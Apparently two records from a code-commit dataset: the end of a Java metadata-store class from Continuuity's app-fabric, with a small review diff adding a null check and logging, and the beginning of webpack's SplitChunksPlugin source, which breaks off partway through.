MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
pid);
String startTime = entry.getTextField(FieldTypes.ProgramRun.START_TS);
Preconditions.checkNotNull(startTime);
String timestampedProgramId = getTimestampedId(id.getId(), pid, Long.MAX_VALUE - Long.parseLong(startTime));
//update new entry that is ordered by time.
MetaDataEntry timeStampedEntry = new MetaDataEntry(id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
timestampedProgramId);
timeStampedEntry.addField(FieldTypes.ProgramRun.START_TS, startTime);
timeStampedEntry.addField(FieldTypes.ProgramRun.END_TS, String.valueOf(endTime));
timeStampedEntry.addField(FieldTypes.ProgramRun.END_STATE, state);
timeStampedEntry.addField(FieldTypes.ProgramRun.RUN_ID, pid);
metaDataTable.add(context, timeStampedEntry);
//delete the entry with pid as one of the column values.
metaDataTable.delete(context, id.getAccountId(), id.getApplicationId(), FieldTypes.ProgramRun.ENTRY_TYPE, pid);
try {
//delete old history data and ignore exceptions since it will be cleaned up in the next run.
deleteOlderMetadataHistory(context, id);
} catch (OperationException e){
LOG.warn("Operation exception while deleting older run history");
}
} catch (OperationException e) {
throw Throwables.propagate(e);
}
}
@Override
public List<RunRecord> getRunHistory(final Id.Program id, final long startTime, final long endTime, int limit)
throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
List<MetaDataEntry> entries = metaDataTable.list(context,
id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
getTimestampedId(id.getId(), startTime),
getTimestampedId(id.getId(), endTime),
limit);
List<RunRecord> runHistory = Lists.newArrayList();
for (MetaDataEntry entry : entries) {
String endTsStr = entry.getTextField(FieldTypes.ProgramRun.END_TS);
String runId = entry.getTextField(FieldTypes.ProgramRun.RUN_ID);
runHistory.add(new RunRecord(runId,
Long.valueOf(entry.getTextField(FieldTypes.ProgramRun.START_TS)),
Long.valueOf(endTsStr),
entry.getTextField(FieldTypes.ProgramRun.END_STATE)));
}
return runHistory;
}
@Override
public Table<Type, Id.Program, List<RunRecord>> getAllRunHistory(Id.Account account) throws OperationException {
OperationContext context = new OperationContext(account.getId());
LOG.trace("Removing all applications of account with id: {}", account.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, account.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
ImmutableTable.Builder<Type, Id.Program, List<RunRecord>> builder = ImmutableTable.builder();
for (MetaDataEntry entry : applications) {
ApplicationSpecification appSpec = adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON));
for (FlowSpecification flowSpec : appSpec.getFlows().values()) {
Id.Program programId = Id.Program.from(account.getId(), appSpec.getName(), flowSpec.getName());
List<RunRecord> runRecords = getRunRecords(programId);
builder.put(Type.FLOW, programId, runRecords);
}
for (ProcedureSpecification procedureSpec : appSpec.getProcedures().values()) {
Id.Program programId = Id.Program.from(account.getId(), appSpec.getName(), procedureSpec.getName());
List<RunRecord> runRecords = getRunRecords(programId);
builder.put(Type.PROCEDURE, programId, runRecords);
}
}
return builder.build();
}
private List<RunRecord> getRunRecords(Id.Program programId) throws OperationException {
return getRunRecords(programId, Integer.MAX_VALUE);
}
private List<RunRecord> getRunRecords(Id.Program programId, int limit) throws OperationException {
List<RunRecord> runRecords = Lists.newArrayList();
for (RunRecord runRecord : getRunHistory(programId, limit)) {
runRecords.add(runRecord);
}
return runRecords;
}
private List<RunRecord> getRunHistory(Id.Program programId, int limit) throws OperationException {
return getRunHistory(programId, Long.MIN_VALUE, Long.MAX_VALUE, limit);
}
/**
* Compares RunRecord using their start time.
*/
private static final class RunRecordComparator implements Comparator<RunRecord> {
@Override
public int compare(final RunRecord left, final RunRecord right) {
if (left.getStartTs() > right.getStartTs()) {
return 1;
} else {
return left.getStartTs() < right.getStartTs() ? -1 : 0;
}
}
}
@Override
public void addApplication(final Id.Application id,
final ApplicationSpecification spec, Location appArchiveLocation)
throws OperationException {
long updateTime = System.currentTimeMillis();
storeAppToArchiveLocationMapping(id, appArchiveLocation);
storeAppSpec(id, spec, updateTime);
}
private void storeAppToArchiveLocationMapping(Id.Application id, Location appArchiveLocation)
throws OperationException {
// there always be an entry for application
LOG.trace("Updating id to app archive location mapping: app id: {}, app location: {}",
id.getId(), appArchiveLocation.toURI());
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE, id.getId());
entry.addField(FieldTypes.Application.ARCHIVE_LOCATION, appArchiveLocation.toURI().getPath());
metaDataTable.add(context, entry);
} else {
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.ARCHIVE_LOCATION, appArchiveLocation.toURI().getPath(), -1);
}
LOG.trace("Updated id to app archive location mapping: app id: {}, app location: {}",
id.getId(), appArchiveLocation.toURI());
}
private void storeAppSpec(Id.Application id, ApplicationSpecification spec, long timestamp)
throws OperationException {
ApplicationSpecificationAdapter adapter =
ApplicationSpecificationAdapter.create(new ReflectionSchemaGenerator());
String jsonSpec = adapter.toJson(spec);
OperationContext context = new OperationContext(id.getAccountId());
LOG.trace("Application being stored: id: {}: spec: {}", id.getId(), jsonSpec);
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE, id.getId());
entry.addField(FieldTypes.Application.SPEC_JSON, jsonSpec);
entry.addField(FieldTypes.Application.TIMESTAMP, Long.toString(timestamp));
metaDataTable.add(context, entry);
LOG.trace("Added application to mds: id: {}, spec: {}", id.getId(), jsonSpec);
} else {
LOG.trace("Application exists in mds: id: {}, spec: {}", id.getId(),
existing.getTextField(FieldTypes.Application.SPEC_JSON));
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.SPEC_JSON, jsonSpec, -1);
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.TIMESTAMP, Long.toString(timestamp), -1);
LOG.trace("Updated application in mds: id: {}, spec: {}", id.getId(), jsonSpec);
}
// hack hack hack: time constraints. See details in metadataServiceHelper javadoc
metadataServiceHelper.updateInMetadataService(id, spec);
}
@Override
public void setFlowletInstances(final Id.Program id, final String flowletId, int count)
throws OperationException {
Preconditions.checkArgument(count > 0, "cannot change number of flowlet instances to negative number: " + count);
long timestamp = System.currentTimeMillis();
LOG.trace("Setting flowlet instances: account: {}, application: {}, flow: {}, flowlet: {}, new instances count: {}",
id.getAccountId(), id.getApplicationId(), id.getId(), flowletId, count);
ApplicationSpecification newAppSpec = setFlowletInstancesInAppSpecInMDS(id, flowletId, count, timestamp);
replaceAppSpecInProgramJar(id, newAppSpec, Type.FLOW);
LOG.trace("Set flowlet instances: account: {}, application: {}, flow: {}, flowlet: {}, instances now: {}",
id.getAccountId(), id.getApplicationId(), id.getId(), flowletId, count);
}
/**
* Gets number of instances of specific flowlet.
*
* @param id flow id
* @param flowletId flowlet id
* @throws com.continuuity.api.data.OperationException
*
*/
@Override
public int getFlowletInstances(Id.Program id, String flowletId) throws OperationException {
ApplicationSpecification appSpec = getAppSpecSafely(id);
FlowSpecification flowSpec = getFlowSpecSafely(id, appSpec);
FlowletDefinition flowletDef = getFlowletDefinitionSafely(flowSpec, flowletId, id);
return flowletDef.getInstances();
}
private ApplicationSpecification setFlowletInstancesInAppSpecInMDS(Id.Program id, String flowletId,
int count, long timestamp)
throws OperationException {
ApplicationSpecification appSpec = getAppSpecSafely(id);
FlowSpecification flowSpec = getFlowSpecSafely(id, appSpec);
FlowletDefinition flowletDef = getFlowletDefinitionSafely(flowSpec, flowletId, id);
final FlowletDefinition adjustedFlowletDef = new FlowletDefinition(flowletDef, count);
ApplicationSpecification newAppSpec = replaceFlowletInAppSpec(appSpec, id, flowSpec, adjustedFlowletDef);
storeAppSpec(id.getApplication(), newAppSpec, timestamp);
return newAppSpec;
}
private void replaceAppSpecInProgramJar(Id.Program id, ApplicationSpecification appSpec, Type type) {
Location programLocation;
try {
programLocation = getProgramLocation(id, Type.FLOW);
} catch (IOException e) {
throw Throwables.propagate(e);
}
ArchiveBundler bundler = new ArchiveBundler(programLocation);
String className = appSpec.getFlows().get(id.getId()).getClassName();
try {
Location tmpProgramLocation = programLocation.getTempFile("");
try {
ProgramBundle.create(id.getApplication(), bundler, tmpProgramLocation, id.getId(), className, type, appSpec);
Location movedTo = tmpProgramLocation.renameTo(programLocation);
if (movedTo == null) {
throw new RuntimeException("Could not replace program jar with the one with updated app spec, " +
"original program file: " + programLocation.toURI() +
", was trying to replace with file: " + tmpProgramLocation.toURI());
}
} finally {
if (tmpProgramLocation != null && tmpProgramLocation.exists()) {
tmpProgramLocation.delete();
}
}
} catch (IOException e) {
throw Throwables.propagate(e);
}
}
private FlowletDefinition getFlowletDefinitionSafely(FlowSpecification flowSpec, String flowletId, Id.Program id) {
FlowletDefinition flowletDef = flowSpec.getFlowlets().get(flowletId);
if (flowletDef == null) {
throw new IllegalArgumentException("no such flowlet @ account id: " + id.getAccountId() +
", app id: " + id.getApplication() +
", flow id: " + id.getId() +
", flowlet id: " + id.getId());
}
return flowletDef;
}
private FlowSpecification getFlowSpecSafely(Id.Program id, ApplicationSpecification appSpec) {
FlowSpecification flowSpec = appSpec.getFlows().get(id.getId());
if (flowSpec == null) {
throw new IllegalArgumentException("no such flow @ account id: " + id.getAccountId() +
", app id: " + id.getApplication() +
", flow id: " + id.getId());
}
return flowSpec;
}
@Override
public void remove(Id.Program id) throws OperationException {
LOG.trace("Removing program: account: {}, application: {}, program: {}", id.getAccountId(), id.getApplicationId(),
id.getId());
long timestamp = System.currentTimeMillis();
ApplicationSpecification appSpec = getAppSpecSafely(id);
ApplicationSpecification newAppSpec = removeProgramFromAppSpec(appSpec, id);
storeAppSpec(id.getApplication(), newAppSpec, timestamp);
// we don't know the type of the program so we'll try to remove any of Flow, Procedure or Mapreduce
StringBuilder errorMessage = new StringBuilder(
String.format("Removing program: account: %s, application: %s, program: %s. Trying every type of program... ",
id.getAccountId(), id.getApplicationId(), id.getId()));
// Unfortunately with current MDS there's no way to say if we deleted anything. So we'll just rely on "no errors in
// all attempts means we deleted smth". And yes, we show only latest error. And yes, we have to try remove
// every type.
MetadataServiceException error;
try {
metadataServiceHelper.deleteFlow(id);
error = null;
} catch (MetadataServiceException e) {
error = e;
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as flow ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Flow (").append(e.getMessage()).append(")...");
}
try {
metadataServiceHelper.deleteQuery(id);
error = null;
} catch (MetadataServiceException e) {
if (error != null) {
error = e;
}
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as query ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Procedure (").append(e.getMessage()).append(")...");
}
try {
metadataServiceHelper.deleteMapReduce(id);
error = null;
} catch (MetadataServiceException e) {
if (error != null) {
error = e;
}
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as mapreduce ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Mapreduce (").append(e.getMessage()).append(")");
}
if (error != null) {
throw new OperationException(StatusCode.ENTRY_NOT_FOUND, errorMessage.toString(), error);
}
}
@Override
public ApplicationSpecification removeApplication(Id.Application id) throws OperationException {
LOG.trace("Removing application: account: {}, application: {}", id.getAccountId(), id.getId());
ApplicationSpecification appSpec = getApplication(id);
Preconditions.checkNotNull(appSpec, "No such application: %s", id.getId());
removeApplicationFromAppSpec(id.getAccount(), appSpec);
return appSpec;
}
@Override
public void removeAllApplications(Id.Account id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
LOG.trace("Removing all applications of account with id: {}", id.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
for (MetaDataEntry entry : applications) {
removeApplicationFromAppSpec(id, adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON)));
}
}
@Override
public void removeAll(Id.Account id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
LOG.trace("Removing all metadata of account with id: {}", id.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
// removing apps
for (MetaDataEntry entry : applications) {
metaDataTable.delete(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, entry.getId());
}
try {
metadataServiceHelper.deleteAll(id);
} catch (TException e) {
throw Throwables.propagate(e);
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
@Override
public void storeRunArguments(Id.Program id, Map<String, String> arguments) throws OperationException {
OperationContext context = new OperationContext(id.getId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
entry.addField(FieldTypes.ProgramRun.ENTRY_TYPE, gson.toJson(arguments));
metaDataTable.add(context, entry);
LOG.trace("Added run time arguments to mds: id: {}, app: {}, prog: {} ", id.getAccountId(),
id.getApplicationId(), id.getId());
} else {
LOG.trace("Run time args exists in mds: id: {}, app: {}, prog: {}", id.getAccountId(),
id.getApplicationId(), id.getId());
metaDataTable.updateField(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId(),
FieldTypes.ProgramRun.ENTRY_TYPE, gson.toJson(arguments), -1);
LOG.trace("Updated application in mds: id: {}, app: {}, prog: {}", id.getId(),
id.getApplicationId(), id.getId());
}
}
@Override
public Map<String, String> getRunArguments(Id.Program id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
Map<String, String> args = Maps.newHashMap();
if (existing != null) {
java.lang.reflect.Type type = new TypeToken<Map<String, String>>(){}.getType();
args = gson.fromJson(existing.getTextField(FieldTypes.ProgramRun.ENTRY_TYPE), type);
}
return args;
}
private void removeAllProceduresFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (ProcedureSpecification procedure : appSpec.getProcedures().values()) {
try {
metadataServiceHelper.deleteQuery(Id.Program.from(id.getId(), appSpec.getName(), procedure.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeAllFlowsFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (FlowSpecification flow : appSpec.getFlows().values()) {
try {
metadataServiceHelper.deleteFlow(Id.Program.from(id.getId(), appSpec.getName(), flow.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeAllMapreducesFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (MapReduceSpecification mrSpec : appSpec.getMapReduces().values()) {
try {
metadataServiceHelper.deleteMapReduce(Id.Program.from(id.getId(), appSpec.getName(), mrSpec.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeApplicationFromAppSpec(Id.Account id, ApplicationSpecification appSpec) throws OperationException {
OperationContext context = new OperationContext(id.getId());
removeAllFlowsFromMetadataStore(id, appSpec);
removeAllMapreducesFromMetadataStore(id, appSpec);
removeAllProceduresFromMetadataStore(id, appSpec);
metaDataTable.delete(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, appSpec.getName());
// make sure to also delete the "application" entry of MDS (by-passing MDS here). this will go away with MDS
metadataServiceHelper.deleteApplication(id.getId(), appSpec.getName());
}
private ApplicationSpecification getAppSpecSafely(Id.Program id) throws OperationException {
ApplicationSpecification appSpec = getApplication(id.getApplication());
if (appSpec == null) {
throw new IllegalArgumentException("no such application @ account id: " + id.getAccountId() +
", app id: " + id.getApplication().getId());
}
return appSpec;
}
private ApplicationSpecification replaceFlowletInAppSpec(final ApplicationSpecification appSpec,
final Id.Program id,
final FlowSpecification flowSpec,
final FlowletDefinition adjustedFlowletDef) {
// as app spec is immutable we have to do this trick
return replaceFlowInAppSpec(appSpec, id, new ForwardingFlowSpecification(flowSpec) {
@Override
public Map<String, FlowletDefinition> getFlowlets() {
Map<String, FlowletDefinition> flowlets = Maps.newHashMap(super.getFlowlets());
flowlets.put(adjustedFlowletDef.getFlowletSpec().getName(), adjustedFlowletDef);
return flowlets;
}
});
}
private ApplicationSpecification replaceFlowInAppSpec(final ApplicationSpecification appSpec, final Id.Program id,
final FlowSpecification newFlowSpec) {
// as app spec is immutable we have to do this trick
return new ForwardingApplicationSpecification(appSpec) {
@Override
public Map<String, FlowSpecification> getFlows() {
Map<String, FlowSpecification> flows = Maps.newHashMap(super.getFlows());
flows.put(id.getId(), newFlowSpec);
return flows;
}
};
}
private ApplicationSpecification removeProgramFromAppSpec(final ApplicationSpecification appSpec,
final Id.Program id) {
// we try to remove from both procedures and flows as both of them are "programs"
// this somewhat ugly api dictated by old UI
return new ForwardingApplicationSpecification(appSpec) {
@Override
public Map<String, FlowSpecification> getFlows() {
Map<String, FlowSpecification> flows = Maps.newHashMap(super.getFlows());
flows.remove(id.getId());
return flows;
}
@Override
public Map<String, ProcedureSpecification> getProcedures() {
Map<String, ProcedureSpecification> procedures = Maps.newHashMap(super.getProcedures());
procedures.remove(id.getId());
return procedures;
}
@Override
public Map<String, MapReduceSpecification> getMapReduces() {
Map<String, MapReduceSpecification> procedures = Maps.newHashMap(super.getMapReduces());
procedures.remove(id.getId());
return procedures;
}
};
}
@Override
public ApplicationSpecification getApplication(final Id.Application id) throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE,
id.getId());
if (entry == null) {
return null;
}
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
return adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON));
}
@Override
public Location getApplicationArchiveLocation(Id.Application id) throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE,
id.getId());
if (entry == null) {
return null;
}
return locationFactory.create(entry.getTextField(FieldTypes.Application.ARCHIVE_LOCATION));
}
private String getTimestampedId(String id, long timestamp) {
return String.format("%s:%d", id, timestamp);
}
private String getTimestampedId(String id, String pid, long timestamp) {
return String.format("%s:%d:%s", id, timestamp, pid);
}
//delete history for older dates
private void deleteOlderMetadataHistory(OperationContext context, Id.Program id) throws OperationException {
//delete stale history
// Delete all entries that are greater than RUN_HISTORY_KEEP_DAYS to Long.MAX_VALUE
int historyKeepDays = configuration.getInt(Constants.CFG_RUN_HISTORY_KEEP_DAYS,
Constants.DEFAULT_RUN_HISTORY_KEEP_DAYS);
long deleteStartTime = TimeUnit.SECONDS.convert(System.currentTimeMillis(), TimeUnit.MILLISECONDS) -
(historyKeepDays * 24 * 60 * 60L);
String deleteStartKey = getTimestampedId(id.getId(), Long.MAX_VALUE - deleteStartTime);
String deleteStopKey = getTimestampedId(id.getId(), Long.MAX_VALUE);
List<MetaDataEntry> entries = metaDataTable.list(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE, deleteStartKey,
deleteStopKey, Integer.MAX_VALUE);
if (entries.size() > 0) {
metaDataTable.delete(id.getAccountId(), entries);
}
}
}
| Review Comments
| app-fabric/src/main/java/com/continuuity/internal/app/store/MDSBasedStore.java | Review Comments | <ide><path>pp-fabric/src/main/java/com/continuuity/internal/app/store/MDSBasedStore.java
<ide> * Logs end of program run.
<ide> *
<ide> * @param id id of program
<del> * @param pid run id
<add> * @param pid program run id
<ide> * @param endTime end timestamp
<ide> * @param state State of program
<ide> */
<ide> id.getApplicationId(),
<ide> FieldTypes.ProgramRun.ENTRY_TYPE,
<ide> pid);
<add> Preconditions.checkNotNull(entry);
<ide> String startTime = entry.getTextField(FieldTypes.ProgramRun.START_TS);
<add>
<ide> Preconditions.checkNotNull(startTime);
<ide> String timestampedProgramId = getTimestampedId(id.getId(), pid, Long.MAX_VALUE - Long.parseLong(startTime));
<ide> //update new entry that is ordered by time.
<ide> try {
<ide> //delete old history data and ignore exceptions since it will be cleaned up in the next run.
<ide> deleteOlderMetadataHistory(context, id);
<del> } catch (OperationException e){
<del> LOG.warn("Operation exception while deleting older run history");
<add> } catch (OperationException e) {
<add> LOG.warn("Operation exception while deleting older run history with pid {}", pid, e);
<ide> }
<ide> } catch (OperationException e) {
<ide> throw Throwables.propagate(e); |
|
JavaScript | mit | b4ae9728d00ef00f5b0a0f488d58af0b6a9d7cc8 | 0 | SimenB/webpack,SimenB/webpack,SimenB/webpack,webpack/webpack,SimenB/webpack,EliteScientist/webpack,webpack/webpack,webpack/webpack,NekR/webpack,NekR/webpack,EliteScientist/webpack,webpack/webpack | /*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const crypto = require("crypto");
const SortableSet = require("../util/SortableSet");
const GraphHelpers = require("../GraphHelpers");
const { isSubset } = require("../util/SetHelpers");
/** @typedef {import("../Chunk")} Chunk */
/** @typedef {import("../Module")} Module */
const hashFilename = name => {
return crypto
.createHash("md4")
.update(name)
.digest("hex")
.slice(0, 8);
};
const sortByIdentifier = (a, b) => {
if (a.identifier() > b.identifier()) return 1;
if (a.identifier() < b.identifier()) return -1;
return 0;
};
const getRequests = chunk => {
let requests = 0;
for (const chunkGroup of chunk.groupsIterable) {
requests = Math.max(requests, chunkGroup.chunks.length);
}
return requests;
};
const getModulesSize = modules => {
let sum = 0;
for (const m of modules) {
sum += m.size();
}
return sum;
};
/**
* @template T
* @param {Set<T>} a set
* @param {Set<T>} b other set
* @returns {boolean} true if at least one item of a is in b
*/
const isOverlap = (a, b) => {
for (const item of a) {
if (b.has(item)) return true;
}
return false;
};
const compareEntries = (a, b) => {
// 1. by priority
const diffPriority = a.cacheGroup.priority - b.cacheGroup.priority;
if (diffPriority) return diffPriority;
// 2. by number of chunks
const diffCount = a.chunks.size - b.chunks.size;
if (diffCount) return diffCount;
// 3. by size reduction
const aSizeReduce = a.size * (a.chunks.size - 1);
const bSizeReduce = b.size * (b.chunks.size - 1);
const diffSizeReduce = aSizeReduce - bSizeReduce;
if (diffSizeReduce) return diffSizeReduce;
// 4. by number of modules (to be able to compare by identifier)
const modulesA = a.modules;
const modulesB = b.modules;
const diff = modulesA.size - modulesB.size;
if (diff) return diff;
// 5. by module identifiers
modulesA.sort();
modulesB.sort();
const aI = modulesA[Symbol.iterator]();
const bI = modulesB[Symbol.iterator]();
// eslint-disable-next-line no-constant-condition
while (true) {
const aItem = aI.next();
const bItem = bI.next();
if (aItem.done) return 0;
const aModuleIdentifier = aItem.value.identifier();
const bModuleIdentifier = bItem.value.identifier();
if (aModuleIdentifier > bModuleIdentifier) return -1;
if (aModuleIdentifier < bModuleIdentifier) return 1;
}
};
const INITIAL_CHUNK_FILTER = chunk => chunk.canBeInitial();
const ASYNC_CHUNK_FILTER = chunk => !chunk.canBeInitial();
const ALL_CHUNK_FILTER = chunk => true;
module.exports = class SplitChunksPlugin {
constructor(options) {
this.options = SplitChunksPlugin.normalizeOptions(options);
}
static normalizeOptions(options = {}) {
return {
chunksFilter: SplitChunksPlugin.normalizeChunksFilter(
options.chunks || "all"
),
minSize: options.minSize || 0,
minChunks: options.minChunks || 1,
maxAsyncRequests: options.maxAsyncRequests || 6,
maxInitialRequests: options.maxInitialRequests || 4,
getName:
SplitChunksPlugin.normalizeName({
name: options.name,
automaticNameDelimiter: options.automaticNameDelimiter
}) || (() => {}),
filename: options.filename || undefined,
getCacheGroups: SplitChunksPlugin.normalizeCacheGroups({
cacheGroups: options.cacheGroups,
automaticNameDelimiter: options.automaticNameDelimiter
})
};
}
static normalizeName({ name, automaticNameDelimiter }) {
if (name === true) {
const cache = new Map();
const fn = (module, chunks, cacheGroup) => {
let cacheEntry = cache.get(chunks);
if (cacheEntry === undefined) {
cacheEntry = {};
cache.set(chunks, cacheEntry);
} else if (cacheGroup in cacheEntry) {
return cacheEntry[cacheGroup];
}
const names = chunks.map(c => c.name);
if (!names.every(Boolean)) {
cacheEntry[cacheGroup] = undefined;
return;
}
names.sort();
let name =
(cacheGroup && cacheGroup !== "default"
? cacheGroup + automaticNameDelimiter
: "") + names.join(automaticNameDelimiter);
// Filenames and paths can't be too long otherwise an
// ENAMETOOLONG error is raised. If the generated name if too
// long, it is truncated and a hash is appended. The limit has
// been set to 100 to prevent `[name].[chunkhash].[ext]` from
// generating a 256+ character string.
if (name.length > 100) {
name =
name.slice(0, 100) + automaticNameDelimiter + hashFilename(name);
}
cacheEntry[cacheGroup] = name;
return name;
};
return fn;
}
if (typeof name === "string") {
const fn = () => {
return name;
};
return fn;
}
if (typeof name === "function") return name;
}
static normalizeChunksFilter(chunks) {
if (chunks === "initial") {
return INITIAL_CHUNK_FILTER;
}
if (chunks === "async") {
return ASYNC_CHUNK_FILTER;
}
if (chunks === "all") {
return ALL_CHUNK_FILTER;
}
if (typeof chunks === "function") return chunks;
}
static normalizeCacheGroups({ cacheGroups, automaticNameDelimiter }) {
if (typeof cacheGroups === "function") {
// TODO webpack 5 remove this
if (cacheGroups.length !== 1) {
return module => cacheGroups(module, module.getChunks());
}
return cacheGroups;
}
if (cacheGroups && typeof cacheGroups === "object") {
const fn = module => {
let results;
for (const key of Object.keys(cacheGroups)) {
let option = cacheGroups[key];
if (option === false) continue;
if (option instanceof RegExp || typeof option === "string") {
option = {
test: option
};
}
if (typeof option === "function") {
let result = option(module);
if (result) {
if (results === undefined) results = [];
for (const r of Array.isArray(result) ? result : [result]) {
const result = Object.assign({ key }, r);
if (result.name) result.getName = () => result.name;
if (result.chunks) {
result.chunksFilter = SplitChunksPlugin.normalizeChunksFilter(
result.chunks
);
}
results.push(result);
}
}
} else if (SplitChunksPlugin.checkTest(option.test, module)) {
if (results === undefined) results = [];
results.push({
key: key,
priority: option.priority,
getName: SplitChunksPlugin.normalizeName({
name: option.name,
automaticNameDelimiter
}),
chunksFilter: SplitChunksPlugin.normalizeChunksFilter(
option.chunks
),
enforce: option.enforce,
minSize: option.minSize,
minChunks: option.minChunks,
maxAsyncRequests: option.maxAsyncRequests,
maxInitialRequests: option.maxInitialRequests,
filename: option.filename,
reuseExistingChunk: option.reuseExistingChunk
});
}
}
return results;
};
return fn;
}
const fn = () => {};
return fn;
}
static checkTest(test, module) {
if (test === undefined) return true;
if (typeof test === "function") {
if (test.length !== 1) {
return test(module, module.getChunks());
}
return test(module);
}
if (typeof test === "boolean") return test;
if (typeof test === "string") {
if (
module.nameForCondition &&
module.nameForCondition().startsWith(test)
) {
return true;
}
for (const chunk of module.chunksIterable) {
if (chunk.name && chunk.name.startsWith(test)) {
return true;
}
}
return false;
}
if (test instanceof RegExp) {
if (module.nameForCondition && test.test(module.nameForCondition())) {
return true;
}
for (const chunk of module.chunksIterable) {
if (chunk.name && test.test(chunk.name)) {
return true;
}
}
return false;
}
return false;
}
apply(compiler) {
compiler.hooks.thisCompilation.tap("SplitChunksPlugin", compilation => {
let alreadyOptimized = false;
compilation.hooks.unseal.tap("SplitChunksPlugin", () => {
alreadyOptimized = false;
});
compilation.hooks.optimizeChunksAdvanced.tap(
"SplitChunksPlugin",
chunks => {
if (alreadyOptimized) return;
alreadyOptimized = true;
// Give each selected chunk an index (to create strings from chunks)
const indexMap = new Map();
let index = 1;
for (const chunk of chunks) {
indexMap.set(chunk, index++);
}
const getKey = chunks => {
return Array.from(chunks, c => indexMap.get(c))
.sort()
.join();
};
/** @type {Map<string, Set<Chunk>>} */
const chunkSetsInGraph = new Map();
for (const module of compilation.modules) {
const chunksKey = getKey(module.chunksIterable);
if (!chunkSetsInGraph.has(chunksKey)) {
chunkSetsInGraph.set(chunksKey, new Set(module.chunksIterable));
}
}
// group these set of chunks by count
// to allow to check less sets via isSubset
// (only smaller sets can be subset)
/** @type {Map<number, Array<Set<Chunk>>>} */
const chunkSetsByCount = new Map();
for (const chunksSet of chunkSetsInGraph.values()) {
const count = chunksSet.size;
let array = chunkSetsByCount.get(count);
if (array === undefined) {
array = [];
chunkSetsByCount.set(count, array);
}
array.push(chunksSet);
}
// Create a list of possible combinations
const combinationsCache = new Map(); // Map<string, Set<Chunk>[]>
const getCombinations = key => {
const chunksSet = chunkSetsInGraph.get(key);
var array = [chunksSet];
if (chunksSet.size > 1) {
for (const [count, setArray] of chunkSetsByCount) {
// "equal" is not needed because they would have been merge in the first step
if (count < chunksSet.size) {
for (const set of setArray) {
if (isSubset(chunksSet, set)) {
array.push(set);
}
}
}
}
}
return array;
};
/**
* @typedef {Object} SelectedChunksResult
* @property {Chunk[]} chunks the list of chunks
* @property {string} key a key of the list
*/
/**
* @typedef {function(Chunk): boolean} ChunkFilterFunction
*/
/** @type {WeakMap<Set<Chunk>, WeakMap<ChunkFilterFunction, SelectedChunksResult>>} */
const selectedChunksCacheByChunksSet = new WeakMap();
/**
